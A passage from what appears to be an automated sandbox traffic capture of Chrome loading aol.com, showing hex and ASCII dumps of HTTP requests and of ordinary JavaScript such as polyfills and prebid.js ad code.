a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b};w("Array.prototype.find",function(a){return a?a:function(b,c){a:{var d=this;d i
2024-05-23 22:34:50 UTC	1390	IN	Data Raw: 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 75 28 61 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 74 72 69 65 73 22 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 68 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 6c 3d 6e 65 77 20 61 28 78 28 5b 5b 68 2c 22 73 22 5d 5d 29 29 3b 69 66 28 22 73 22 21 3d 6c 2e 67 65 74 28 68 29 7c 7c 31 21 3d 6c 2e 73 69 7a 65 7c 7c 6c 2e 67 65 74 28 7b 78 3a 34 7d 29 7c 7c 6c 2e 73 65 74 28 7b 78 3a 34 7d 2c 22 74 22 29 21 3d 6c 7c 7c 32 21 3d 6c 2e 73 69 7a 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6b 3d 75 28 6c 2c 22 65 6e 74 72 69 65 73 22 29 2e 63 61 6c 6c 28 6c 29 2c 6d 3d 6b 2e 6e 65 78 74 28 29 Data Ascii: on"!=typeof a\|\|!u(a.prototype,"entries")\|\|"function"!=typeof Object.seal)return!1;try{var h=Object.seal({x:4}),l=new a(x([[h,"s"]]));if("s"!=l.get(h)\|\|1!=l.size\|\|l.get({x:4})\|\|l.set({x:4},"t")!=l\|\|2!=l.size)return!1;var k=u(l,"entries").call(l),m=k.next()
2024-05-23 22:34:50 UTC	1390	IN	Data Raw: 68 29 7b 72 65 74 75 72 6e 20 68 2e 76 61 6c 75 65 7d 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6c 29 7b 66 6f 72 28 76 61 72 20 6b 3d 75 28 74 68 69 73 2c 22 65 6e 74 72 69 65 73 22 29 2e 63 61 6c 6c 28 74 68 69 73 29 2c 6d 3b 21 28 6d 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 68 2e 63 61 6c 6c 28 6c 2c 6d 5b 31 5d 2c 6d 5b 30 5d 2c 74 68 69 73 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 5b 75 28 74 2e 53 79 6d 62 6f 6c 2c 22 69 74 65 72 61 74 6f 72 22 29 5d 3d 75 28 63 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 74 72 69 65 73 22 29 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6c 29 7b 76 61 72 20 6b 3d 6c 26 26 74 79 70 65 6f 66 20 6c 3b 22 6f 62 6a Data Ascii: h){return h.value})};c.prototype.forEach=function(h,l){for(var k=u(this,"entries").call(this),m;!(m=k.next()).done;)m=m.value,h.call(l,m[1],m[0],this)};c.prototype[u(t.Symbol,"iterator")]=u(c.prototype,"entries");var d=function(h,l){var k=l&&typeof l;"obj
2024-05-23 22:34:50 UTC	1390	IN	Data Raw: 72 6e 20 30 3e 62 3f 2d 63 3a 63 7d 7d 2c 22 65 73 36 22 29 3b 77 28 22 4f 62 6a 65 63 74 2e 76 61 6c 75 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3b 66 6f 72 28 64 20 69 6e 20 62 29 6b 61 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 62 5b 64 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 2c 22 65 73 38 22 29 3b 77 28 22 4f 62 6a 65 63 74 2e 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 62 3d 3d 3d 63 3f 30 21 3d 3d 62 7c 7c 31 2f 62 3d 3d 3d 31 2f 63 3a 62 21 3d 3d 62 26 26 63 21 3d 3d 63 7d 7d 2c 22 65 73 36 22 29 3b 77 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 Data Ascii: rn 0>b?-c:c}},"es6");w("Object.values",function(a){return a?a:function(b){var c=[],d;for(d in b)ka(b,d)&&c.push(b[d]);return c}},"es8");w("Object.is",function(a){return a?a:function(b,c){return b===c?0!==b\|\|1/b===1/c:b!==b&&c!==c}},"es6");w("Array.prototy
2024-05-23 22:34:50 UTC	1390	IN	Data Raw: 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 63 7d 29 7d 7d 2c 22 65 73 38 22 29 3b 77 28 22 41 72 72 61 79 2e 66 72 6f 6d 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 63 3d 6e 75 6c 6c 21 3d 63 3f 63 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 7d 3b 76 61 72 20 65 3d 5b 5d 2c 66 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 53 79 6d 62 6f 6c 26 26 75 28 74 2e 53 79 6d 62 6f 6c 2c 22 69 74 65 72 61 74 6f 72 22 29 26 26 62 5b 75 28 74 2e 53 79 6d 62 6f 6c 2c 22 69 74 65 72 61 74 6f 72 22 29 5d 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f Data Ascii: tion(){return ua(this,function(b,c){return c})}},"es8");w("Array.from",function(a){return a?a:function(b,c,d){c=null!=c?c:function(h){return h};var e=[],f="undefined"!=typeof t.Symbol&&u(t.Symbol,"iterator")&&b[u(t.Symbol,"iterator")];if("function"==typeo
2024-05-23 22:34:50 UTC	1390	IN	Data Raw: 74 75 72 6e 20 75 28 74 68 69 73 2e 67 2c 22 76 61 6c 75 65 73 22 29 2e 63 61 6c 6c 28 74 68 69 73 2e 67 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 3d 75 28 62 2e 70 72 6f 74 6f 74 79 70 65 2c 22 76 61 6c 75 65 73 22 29 3b 62 2e 70 72 6f 74 6f 74 79 70 65 5b 75 28 74 2e 53 79 6d 62 6f 6c 2c 22 69 74 65 72 61 74 6f 72 22 29 5d 3d 75 28 62 2e 70 72 6f 74 6f 74 79 70 65 2c 22 76 61 6c 75 65 73 22 29 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 67 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 63 2e 63 61 6c 6c 28 64 2c 66 2c 66 2c 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 62 7d 2c 22 65 73 36 22 29 3b 77 Data Ascii: turn u(this.g,"values").call(this.g)};b.prototype.keys=u(b.prototype,"values");b.prototype[u(t.Symbol,"iterator")]=u(b.prototype,"values");b.prototype.forEach=function(c,d){var e=this;this.g.forEach(function(f){return c.call(d,f,f,e)})};return b},"es6");w
2024-05-23 22:34:50 UTC	1390	IN	Data Raw: 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 63 3d 63 7c 7c 43 3b 61 5b 30 5d 69 6e 20 63 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 65 78 65 63 53 63 72 69 70 74 7c 7c 63 2e 65 78 65 63 53 63 72 69 70 74 28 22 76 61 72 20 22 2b 61 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 64 3b 61 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 73 68 69 66 74 28 29 29 3b 29 61 2e 6c 65 6e 67 74 68 7c 7c 76 6f 69 64 20 30 3d 3d 3d 62 3f 63 5b 64 5d 26 26 63 5b 64 5d 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 3d 63 5b 64 5d 3a 63 3d 63 5b 64 5d 3d 7b 7d 3a 63 5b 64 5d 3d 62 7d 3b 66 75 6e 63 74 69 6f 6e 20 79 61 28 61 29 7b 43 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e Data Ascii: ction(a,b,c){a=a.split(".");c=c\|\|C;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=b};function ya(a){C.setTimeout(function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.6	49894	34.95.69.49	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	489	OUT	OPTIONS /1a HTTP/1.1 Host: i.clean.gg Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://www.aol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	492	IN	HTTP/1.1 204 No Content Server: nginx/1.21.6 Date: Thu, 23 May 2024 22:34:50 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Origin,Accept,X-API-Key Access-Control-Max-Age: 1728000 Content-Type: text/plain; charset=utf-8 Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.6	49893	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	527	OUT	GET /aaq/prebid/prebid-1.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	823	IN	HTTP/1.1 200 OK x-amz-id-2: YKADyvPdBdS9bqVNJQL4zf8YbsF4QrM+qjABaX5zvUvP3FG7/QWC3HzaFuZI1FiqXGxSyydsb3U= x-amz-request-id: BD41BP8FK3YCX3V6 Date: Thu, 23 May 2024 22:33:52 GMT Last-Modified: Thu, 09 May 2024 18:01:01 GMT x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=600 x-amz-version-id: m3_hgigX3WEM5hrXY23Nqce5t6xyzK8L Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 442928 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "7570bec2a2e8352fed21f8a35f888ef4" Age: 59 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 2f 2a 20 70 72 65 62 69 64 2e 6a 73 20 76 38 2e 33 37 2e 30 0a 55 70 64 61 74 65 64 3a 20 32 30 32 34 2d 30 35 2d 30 39 0a 42 75 69 6c 64 3a 20 31 2e 30 2e 31 36 0a 4d 6f 64 75 6c 65 73 3a 20 63 6f 6e 73 65 6e 74 4d 61 6e 61 67 65 6d 65 6e 74 2c 20 63 6f 6e 73 65 6e 74 4d 61 6e 61 67 65 6d 65 6e 74 47 70 70 2c 20 63 6f 6e 73 65 6e 74 4d 61 6e 61 67 65 6d 65 6e 74 55 73 70 2c 20 63 72 69 74 65 6f 42 69 64 41 64 61 70 74 65 72 2c 20 65 6e 72 69 63 68 6d 65 6e 74 46 70 64 4d 6f 64 75 6c 65 2c 20 67 64 70 72 45 6e 66 6f 72 63 65 6d 65 6e 74 2c 20 67 70 70 43 6f 6e 74 72 6f 6c 5f 75 73 6e 61 74 2c 20 67 70 70 43 6f 6e 74 72 6f 6c 5f 75 73 73 74 61 74 65 73 2c 20 67 70 74 50 72 65 41 75 63 74 69 6f 6e 2c 20 69 78 42 69 64 41 64 61 70 74 65 72 2c 20 6c 69 76 65 Data Ascii: /* prebid.js v8.37.0Updated: 2024-05-09Build: 1.0.16Modules: consentManagement, consentManagementGpp, consentManagementUsp, criteoBidAdapter, enrichmentFpdModule, gdprEnforcement, gppControl_usnat, gppControl_usstates, gptPreAuction, ixBidAdapter, live
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 70 72 6f 63 65 73 73 28 29 7d 29 2c 74 68 69 73 2e 72 65 6e 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 61 72 67 75 6d 65 6e 74 73 2c 6e 3d 28 29 3d 3e 7b 74 68 69 73 2e 5f 72 65 6e 64 65 72 3f 74 68 69 73 2e 5f 72 65 6e 64 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 65 29 3a 28 30 2c 72 2e 4a 45 29 28 22 4e 6f 20 72 65 6e 64 65 72 20 66 75 6e 63 74 69 6f 6e 20 77 61 73 20 70 72 6f 76 69 64 65 64 2c 20 70 6c 65 61 73 65 20 75 73 65 20 2e 73 65 74 52 65 6e 64 65 72 20 6f 6e 20 74 68 65 20 72 65 6e 64 65 72 65 72 22 29 7d 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 6f 6e 73 74 20 74 3d 61 2e 61 64 55 6e 69 74 73 2c 6e 3d 28 30 2c 73 2e 49 36 29 28 74 2c 28 74 3d 3e 74 2e 63 6f 64 65 3d 3d 3d 65 29 29 3b 69 66 28 21 6e 29 72 65 74 75 Data Ascii: process()}),this.render=function(){const e=arguments,n=()=>{this._render?this._render.apply(this,e):(0,r.JE)("No render function was provided, please use .setRender on the renderer")};!function(e){const t=a.adUnits,n=(0,s.I6)(t,(t=>t.code===e));if(!n)retu
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 2e 68 61 6e 64 6c 65 72 73 5b 6e 5d 26 26 74 68 69 73 2e 68 61 6e 64 6c 65 72 73 5b 6e 5d 28 29 2c 28 30 2c 72 2e 4f 47 29 28 22 50 72 65 62 69 64 20 52 65 6e 64 65 72 65 72 20 65 76 65 6e 74 20 66 6f 72 20 69 64 20 22 2e 63 6f 6e 63 61 74 28 74 2c 22 20 74 79 70 65 20 22 29 2e 63 6f 6e 63 61 74 28 6e 29 29 7d 2c 64 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 3b 74 68 69 73 2e 63 6d 64 2e 6c 65 6e 67 74 68 3e 30 3b 29 74 72 79 7b 74 68 69 73 2e 63 6d 64 2e 73 68 69 66 74 28 29 2e 63 61 6c 6c 28 29 7d 63 61 74 63 68 28 65 29 7b 28 30 2c 72 2e 76 56 29 28 22 45 72 72 6f 72 20 70 72 6f 63 65 73 73 69 6e 67 20 52 65 6e 64 65 72 65 72 20 63 6f 6d 6d 61 6e 64 3a 20 22 2c 65 29 7d 7d 7d 2c 33 32 37 3a 28 Data Ascii: .handlers[n]&&this.handlers[n](),(0,r.OG)("Prebid Renderer event for id ".concat(t," type ").concat(n))},d.prototype.process=function(){for(;this.cmd.length>0;)try{this.cmd.shift().call()}catch(e){(0,r.vV)("Error processing Renderer command: ",e)}}},327:(
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 3a 28 29 3d 3e 66 7d 29 3b 76 61 72 20 69 3d 6e 28 35 36 34 39 29 2c 72 3d 6e 28 36 39 33 32 29 2c 6f 3d 6e 28 36 38 34 37 29 2c 73 3d 6e 28 33 32 37 29 3b 63 6f 6e 73 74 20 61 3d 5b 22 64 61 74 61 22 2c 22 65 78 74 2e 64 61 74 61 22 2c 22 79 6f 62 22 2c 22 67 65 6e 64 65 72 22 2c 22 6b 65 79 77 6f 72 64 73 22 2c 22 6b 77 61 72 72 61 79 22 2c 22 69 64 22 2c 22 62 75 79 65 72 75 69 64 22 2c 22 63 75 73 74 6f 6d 64 61 74 61 22 5d 2e 6d 61 70 28 28 65 3d 3e 22 75 73 65 72 2e 22 2e 63 6f 6e 63 61 74 28 65 29 29 29 2e 63 6f 6e 63 61 74 28 22 64 65 76 69 63 65 2e 65 78 74 2e 63 64 65 70 22 29 2c 63 3d 5b 22 75 73 65 72 2e 65 69 64 73 22 2c 22 75 73 65 72 2e 65 78 74 2e 65 69 64 73 22 5d 2c 64 3d 5b 22 75 73 65 72 2e 67 65 6f 2e 6c 61 74 22 2c 22 75 73 65 72 2e Data Ascii: :()=>f});var i=n(5649),r=n(6932),o=n(6847),s=n(327);const a=["data","ext.data","yob","gender","keywords","kwarray","id","buyeruid","customdata"].map((e=>"user.".concat(e))).concat("device.ext.cdep"),c=["user.eids","user.ext.eids"],d=["user.geo.lat","user.
2024-05-23 22:34:50 UTC	449	IN	Data Raw: 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 6f 2e 69 6f 3b 72 65 74 75 72 6e 5b 7b 6e 61 6d 65 3a 73 2e 44 4c 2c 70 61 74 68 73 3a 61 2c 61 70 70 6c 69 65 73 3a 70 28 73 2e 44 4c 2c 65 29 7d 2c 7b 6e 61 6d 65 3a 73 2e 68 71 2c 70 61 74 68 73 3a 63 2c 61 70 70 6c 69 65 73 3a 70 28 73 2e 68 71 2c 65 29 7d 2c 7b 6e 61 6d 65 3a 73 2e 68 45 2c 70 61 74 68 73 3a 64 2c 61 70 70 6c 69 65 73 3a 70 28 73 2e 68 45 2c 65 29 2c 67 65 74 3a 65 3d 3e 4d 61 74 68 2e 72 6f 75 6e 64 28 31 30 30 2a 28 65 2b 4e 75 6d 62 65 72 2e 45 50 53 49 4c 4f 4e 29 29 2f 31 30 30 7d 2c 7b 6e 61 6d 65 3a 73 2e 56 4a 2c 70 61 74 68 73 3a 5b 22 73 6f 75 72 63 65 2e 74 69 64 22 5d 2c 61 70 70 6c 69 Data Ascii: .length>0&&void 0!==arguments[0]?arguments[0]:o.io;return[{name:s.DL,paths:a,applies:p(s.DL,e)},{name:s.hq,paths:c,applies:p(s.hq,e)},{name:s.hE,paths:d,applies:p(s.hE,e),get:e=>Math.round(100*(e+Number.EPSILON))/100},{name:s.VJ,paths:["source.tid"],appli
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 73 5b 30 5d 3a 6f 2e 69 6f 3b 72 65 74 75 72 6e 5b 7b 6e 61 6d 65 3a 73 2e 68 71 2c 70 61 74 68 73 3a 5b 22 75 73 65 72 49 64 22 2c 22 75 73 65 72 49 64 41 73 45 69 64 73 22 5d 2c 61 70 70 6c 69 65 73 3a 70 28 73 2e 68 71 2c 65 29 7d 2c 7b 6e 61 6d 65 3a 73 2e 56 4a 2c 70 61 74 68 73 3a 5b 22 6f 72 74 62 32 49 6d 70 2e 65 78 74 2e 74 69 64 22 5d 2c 61 70 70 6c 69 65 73 3a 70 28 73 2e 56 4a 2c 65 29 7d 5d 2e 6d 61 70 28 75 29 7d 28 65 29 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 6f 6e 73 74 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 7b 6f 72 74 62 32 3a 6e 3d 3e 28 74 28 69 2c 6e 2c 65 29 2c 6e 29 2c 62 69 64 52 65 71 75 65 73 74 3a 74 3d 3e 28 6e 28 69 2c 74 2c 65 29 2c 74 29 7d 7d 7d 28 29 3b 28 30 2c 6f 2e 71 42 29 28 73 2e 56 4a 2c 22 Data Ascii: s[0]:o.io;return[{name:s.hq,paths:["userId","userIdAsEids"],applies:p(s.hq,e)},{name:s.VJ,paths:["ortb2Imp.ext.tid"],applies:p(s.VJ,e)}].map(u)}(e));return function(e){const i={};return{ortb2:n=>(t(i,n,e),n),bidRequest:t=>(n(i,t,e),t)}}}();(0,o.qB)(s.VJ,"
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 2e 6c 65 6e 67 74 68 3a 73 2c 30 2c 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 6f 2e 69 6e 64 65 78 4f 66 28 61 29 3b 65 3e 3d 30 26 26 6f 2e 73 70 6c 69 63 65 28 65 2c 31 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 65 74 20 69 2c 72 3b 66 6f 72 28 63 6f 6e 73 74 5b 73 2c 63 2c 64 5d 6f 66 20 6e 28 65 29 29 7b 69 66 28 69 21 3d 3d 73 26 26 72 29 62 72 65 61 6b 3b 69 3d 73 3b 63 6f 6e 73 74 20 6e 3d 6f 28 65 2c 63 2c 64 2c 74 29 3b 69 66 28 6e 29 7b 69 66 28 21 6e 2e 61 6c 6c 6f 77 29 72 65 74 75 72 6e 20 61 28 6e 29 2c 21 31 3b 72 3d 6e 7d 7d 72 65 74 75 72 6e 20 72 26 26 61 28 72 29 2c 21 30 7d 5d 7d 28 29 7d 2c 33 37 37 35 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 45 46 3a 28 29 3d 3e 6d 2c 4c 75 3a 28 29 Data Ascii: .length:s,0,a),function(){const e=o.indexOf(a);e>=0&&o.splice(e,1)}},function(e,t){let i,r;for(const[s,c,d]of n(e)){if(i!==s&&r)break;i=s;const n=o(e,c,d,t);if(n){if(!n.allow)return a(n),!1;r=n}}return r&&a(r),!0}]}()},3775:(e,t,n)=>{n.d(t,{EF:()=>m,Lu:()
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 28 72 2c 63 29 2c 61 64 49 64 3a 74 2c 77 69 64 74 68 3a 6f 2c 68 65 69 67 68 74 3a 61 7d 29 7d 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 68 28 7b 72 65 61 73 6f 6e 3a 73 2e 61 73 2e 6f 67 2c 6d 65 73 73 61 67 65 3a 65 2e 6d 65 73 73 61 67 65 2c 69 64 3a 6e 2c 62 69 64 3a 66 7d 29 7d 75 2e 6e 2e 61 64 64 57 69 6e 6e 69 6e 67 42 69 64 28 66 29 2c 6f 2e 49 63 28 70 2c 66 29 7d 7d 65 6c 73 65 20 68 28 7b 72 65 61 73 6f 6e 3a 73 2e 61 73 2e 59 37 2c 6d 65 73 73 61 67 65 3a 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 61 64 20 27 22 2e 63 6f 6e 63 61 74 28 6e 2c 22 27 22 29 2c 69 64 3a 6e 7d 29 7d 7d 2c 35 36 32 30 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 65 3a 28 29 3d 3e 73 7d 29 3b 76 61 72 20 69 3d 6e 28 35 36 34 39 29 3b 6c Data Ascii: (r,c),adId:t,width:o,height:a})}}catch(e){return void h({reason:s.as.og,message:e.message,id:n,bid:f})}u.n.addWinningBid(f),o.Ic(p,f)}}else h({reason:s.as.Y7,message:"Cannot find ad '".concat(n,"'"),id:n})}},5620:(e,t,n)=>{n.d(t,{e:()=>s});var i=n(5649);l
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 79 3d 6e 28 36 38 34 37 29 2c 41 3d 6e 28 33 32 37 29 2c 45 3d 6e 28 31 34 30 38 29 2c 77 3d 6e 28 33 33 36 36 29 3b 63 6f 6e 73 74 20 54 3d 22 70 62 73 42 69 64 41 64 61 70 74 65 72 22 2c 43 3d 7b 43 4c 49 45 4e 54 3a 22 63 6c 69 65 6e 74 22 2c 53 45 52 56 45 52 3a 22 73 65 72 76 65 72 22 7d 2c 49 3d 7b 69 73 41 6c 6c 6f 77 65 64 3a 79 2e 69 6f 2c 72 65 64 61 63 74 3a 77 2e 24 70 7d 3b 6c 65 74 20 6b 3d 7b 7d 2c 42 3d 6b 2e 62 69 64 64 65 72 52 65 67 69 73 74 72 79 3d 7b 7d 2c 4f 3d 6b 2e 61 6c 69 61 73 52 65 67 69 73 74 72 79 3d 7b 7d 2c 53 3d 5b 5d 3b 63 2e 24 57 2e 67 65 74 43 6f 6e 66 69 67 28 22 73 32 73 43 6f 6e 66 69 67 22 2c 28 65 3d 3e 7b 65 26 26 65 2e 73 32 73 43 6f 6e 66 69 67 26 26 28 53 3d 28 30 2c 69 2e 63 79 29 28 65 2e 73 32 73 43 6f 6e Data Ascii: y=n(6847),A=n(327),E=n(1408),w=n(3366);const T="pbsBidAdapter",C={CLIENT:"client",SERVER:"server"},I={isAllowed:y.io,redact:w.$p};let k={},B=k.bidderRegistry={},O=k.aliasRegistry={},S=[];c.$W.getConfig("s2sConfig",(e=>{e&&e.s2sConfig&&(S=(0,i.cy)(e.s2sCon
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 74 42 69 64 64 65 72 52 65 71 75 65 73 74 73 43 6f 75 6e 74 65 72 28 73 2e 63 6f 64 65 2c 74 2e 62 69 64 64 65 72 29 2c 62 69 64 64 65 72 57 69 6e 73 43 6f 75 6e 74 3a 6c 2e 65 2e 67 65 74 42 69 64 64 65 72 57 69 6e 73 43 6f 75 6e 74 65 72 28 73 2e 63 6f 64 65 2c 74 2e 62 69 64 64 65 72 29 7d 29 29 2c 65 7d 29 2c 5b 5d 29 29 2c 65 7d 29 2c 5b 5d 29 2e 72 65 64 75 63 65 28 69 2e 42 71 2c 5b 5d 29 2e 66 69 6c 74 65 72 28 28 65 3d 3e 22 22 21 3d 3d 65 29 29 7d 29 2c 22 67 65 74 42 69 64 73 22 29 3b 63 6f 6e 73 74 20 71 3d 28 30 2c 64 2e 41 5f 29 28 22 73 79 6e 63 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 65 74 7b 67 65 74 53 32 53 42 69 64 64 65 72 73 3a 6e 3d 78 7d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 Data Ascii: tBidderRequestsCounter(s.code,t.bidder),bidderWinsCount:l.e.getBidderWinsCounter(s.code,t.bidder)})),e}),[])),e}),[]).reduce(i.Bq,[]).filter((e=>""!==e))}),"getBids");const q=(0,d.A_)("sync",(function(e,t){let{getS2SBidders:n=x}=arguments.length>2&&void 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.6	49887	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	928	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FXHFwznD4f5UxmqWl6KykpQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fwhitesox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=86515300c6be95bc1e98a2bf808cddea0b19a784 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
